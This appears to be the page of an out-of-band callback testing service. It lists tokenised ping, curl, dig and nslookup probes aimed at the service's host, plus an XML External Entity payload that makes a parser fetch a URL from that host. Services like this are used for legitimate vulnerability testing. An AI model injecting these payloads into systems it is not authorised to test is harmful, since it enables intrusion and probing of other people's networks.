$ ping -c1 -p 00b01c6953f451932271ef3bac7fd400 unhack.ca
 
$ curl http://unhack.ca/p/b01c6953f451932271ef3bac7fd4
 
$ dig b01c6953f451932271ef3bac7fd4 @unhack.ca
 
$ dig b01c6953f451932271ef3bac7fd4.ns.unhack.ca
 
C:\> nslookup b01c6953f451932271ef3bac7fd4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b01c6953f451932271ef3bac7fd4">]>
    <foo>&xxe;</foo>
Waiting for ping...